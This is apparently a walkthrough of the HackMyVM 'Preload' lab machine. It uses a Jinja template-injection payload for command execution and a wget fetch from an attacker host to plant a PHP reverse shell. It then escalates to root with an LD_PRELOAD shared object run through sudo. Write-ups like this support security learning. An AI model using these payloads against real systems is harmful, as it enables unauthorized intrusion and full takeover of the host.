日度归档:2022 年 1 月 16 日

HackMyVm Preload Walkthrough

HackMyVm Preload Walkthrough

https://hackmyvm.eu/machines/machine.php?vm=Preload

Scan ports.

nmap -sV -sC -p- -oN ports.log 192.168.56.100
 Nmap scan report for 192.168.56.100
 Host is up (0.0029s latency).
 Not shown: 65532 closed tcp ports (conn-refused)
 PORT     STATE SERVICE    VERSION
 22/tcp   open  ssh        OpenSSH 8.4p1 Debian 5 (protocol 2.0)
 | ssh-hostkey:
 |   3072 4f:4c:82:94:2b:99:f8:ea:67:ff:67:3c:06:8a:71:b5 (RSA)
 |   256 c4:2c:9b:c8:12:93:2f:8a:f1:57:1c:f6:ab:88:b9:61 (ECDSA)
 |_  256 10:18:7b:11:c4:c3:d4:1a:54:cc:18:68:14:bb:2e:a7 (ED25519)
 80/tcp   open  http       nginx 1.18.0
 |_http-title: Welcome to nginx!
 |_http-server-header: nginx/1.18.0
 5000/tcp open  landesk-rc LANDesk remote management
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Scan port 80, but found nothing.

Browse port 5000, get error message.

```bash

  • Serving Flask app 'code' (lazy loading)
    • Environment: production
      •[31m WARNING: This is a development server. Do not use it in a production deployment.•[0m
      •[2m Use a production WSGI server instead.•[0m
    • Debug mode: off
      Traceback (most recent call last):
      File "/home/paul/code.py", line 18, in <module>
      app.run(host="0.0.0.0", port=50000)
      File "/usr/local/lib/python3.9/dist-packages/flask/app.py", line 920, in run
      run_simple(t.cast(str, host), port, self, **options)
      File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 1010, in run_simple
      inner()
      File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 950, in inner
      srv = make_server(
      File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 782, in make_server
      return ThreadedWSGIServer(
      File "/usr/local/lib/python3.9/dist-packages/werkzeug/serving.py", line 688, in init
      super().init(server_address, handler) # type: ignore
      File "/usr/lib/python3.9/socketserver.py", line 452, in init
      self.server_bind()
      File "/usr/lib/python3.9/http/server.py", line 138, in server_bind
      socketserver.TCPServer.server_bind(self)
      File "/usr/lib/python3.9/socketserver.py", line 466, in server_bind
      self.socket.bind(self.server_address)
      OSError: [Errno 98] Address already in use

Looks like it will start a server at port 50000.

Use telnet to connect port 5000.

~ telnet 192.168.56.100 5000
 Trying 192.168.56.100...
 Connected to 192.168.56.100.
 Escape character is '^]'.
  * Serving Flask app 'code' (lazy loading)
  * Environment: production
    WARNING: This is a development server. Do not use it in a production deployment.
    Use a production WSGI server instead.
  * Debug mode: off
  * Running on all addresses.
    WARNING: This is a development server. Do not use it in a production deployment.
  * Running on http://127.0.0.1:50000/ (Press CTRL+C to quit)

Then check port 50000, server is on.

 ~ curl  'http://192.168.56.100:50000'                                                                                                                                                                                    fish-0 | 0 [19:17:57]
 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
 <title>500 Internal Server Error</title>
 <h1>Internal Server Error</h1>
 <p>The server encountered an internal error and was unable to complete your request.
 Either the server is overloaded or there is an error in the application.</p>

The error message told us it's a werkzeug app, so we think about SSTI.

First, we need to fuzz the param name.

 ~ wfuzz -u 'http://192.168.56.100:50000/?FUZZ=id'  
 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt --hh 290  
  /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl.
 Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 ********************************************************
 * Wfuzz 3.1.0 - The Web Fuzzer                         *
 ********************************************************
 Target: http://192.168.56.100:50000/?FUZZ=id
 Total requests: 43003
 =====================================================================
 ID           Response   Lines    Word       Chars       Payload
 =====================================================================
 000001525:   200        0 L      1 W        2 Ch        "cmd"  

Check if SSTI works.

```bash
~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('i
d').read()}}"
uid=1000(paul) gid=1000(paul) groups=1000(paul)


There is no nc, so we upload a php shell.

```bash
 ~ curl 'http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen(%2
 7wget%20http://192.168.56.150/r%20-O%20/tmp/reverse.php%27).read()\}\}'
 Welcome!!!!!!!!!!!!!â••
 ~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('l
 s%20-la%20/tmp').read()\}\}"
 total 76
 drwxrwxrwt  9 root root  4096 Jan 12 11:55 .
 drwxr-xr-x 18 root root  4096 Nov 30 02:38 ..
 drwxrwxrwt  2 root root  4096 Jan 12 08:24 .font-unix
 drwxrwxrwt  2 root root  4096 Jan 12 08:24 .ICE-unix  
 -rw-r--r--  1 paul paul  5496 Jan 12 11:57 reverse.php
 drwx------  3 root root  4096 Jan 12 08:24 systemd-private-dbfc2da2f510488995fc66521e5b22dd-systemd-logind.service-PH5a
 lg
 drwx------  3 root root  4096 Jan 12 08:24 systemd-private-dbfc2da2f510488995fc66521e5b22dd-systemd-timesyncd.service-9
 1KaVg
 drwxrwxrwt  2 root root  4096 Jan 12 08:24 .Test-unix
 drwxrwxrwt  2 root root  4096 Jan 12 08:24 .X11-unix
 drwxrwxrwt  2 root root  4096 Jan 12 08:24 .XIM-unix

Get reverse shell as user paul.

 ~ curl "http://192.168.56.100:50000/?cmd=\{\{request.application.__globals__.__builtins__.__import__(%27os%27).popen('p
 hp%20-f%20/tmp/reverse.php').read()\}\}"
 ————————————————————————————————————————————————————————————————————————————————————
 ~ nc -nlvp 1234
 Ncat: Version 7.92 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on 0.0.0.0:1234
 Ncat: Connection from 192.168.56.100.
 Ncat: Connection from 192.168.56.100:40638.
 Linux preload 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64 GNU/Linux
  11:59:37 up  3:35,  0 users,  load average: 0.00, 0.05, 0.07
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=1000(paul) gid=1000(paul) groups=1000(paul)
 /bin/sh: 0: can't access tty; job control turned off
 $ id
 uid=1000(paul) gid=1000(paul) groups=1000(paul)
 $

Check sudo -l.

$ sudo -l
 Matching Defaults entries for paul on preload:
     env_reset, mail_badpass, env_keep+=LD_PRELOAD, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/s
 bin\:/bin

 User paul may run the following commands on preload:
     (root) NOPASSWD: /usr/bin/cat, /usr/bin/cut, /usr/bin/grep, /usr/bin/tail, /usr/bin/head, /usr/bin/ss          

Use LD_PRELOAD to get root.

```bash
paul@preload:/tmp$ cat shell.c
cat shell.c

include <stdio.h>

include <sys/types.h>

include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
paul@preload:/tmp$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
shell.c: In function â••_initâ••:
shell.c:6:1: warning: implicit declaration of function â••setgidâ•• [-Wimplicit-function-declaration]
6 | setgid(0);
| ^~
shell.c:7:1: warning: implicit declaration of function â••setuidâ•• [-Wimplicit-function-declaration]
7 | setuid(0);
| ^~
paul@preload:/tmp$ sudo LD_PRELOAD=/tmp/shell.so /usr/bin/cat
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/cat

id

id
uid=0(root) gid=0(root) groups=0(root)